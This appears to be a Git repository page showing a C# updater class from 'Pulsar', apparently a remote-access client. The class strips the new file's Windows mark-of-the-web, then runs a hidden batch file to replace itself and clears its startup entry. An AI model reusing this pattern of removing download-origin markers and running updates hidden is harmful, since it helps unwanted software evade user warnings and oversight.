Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

39 lines
1.1 KiB
C#

using Pulsar.Client.Config;
using Pulsar.Client.IO;
using Pulsar.Common.Helpers;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
namespace Pulsar.Client.Setup
{
public class ClientUpdater : ClientSetupBase
{
public void Update(string newFilePath)
{
FileHelper.DeleteZoneIdentifier(newFilePath);
var bytes = File.ReadAllBytes(newFilePath);
if (!FileHelper.HasExecutableIdentifier(bytes))
throw new Exception("No executable file.");
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
if (Settings.STARTUP)
{
var clientStartup = new ClientStartup();
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
}
}
}
}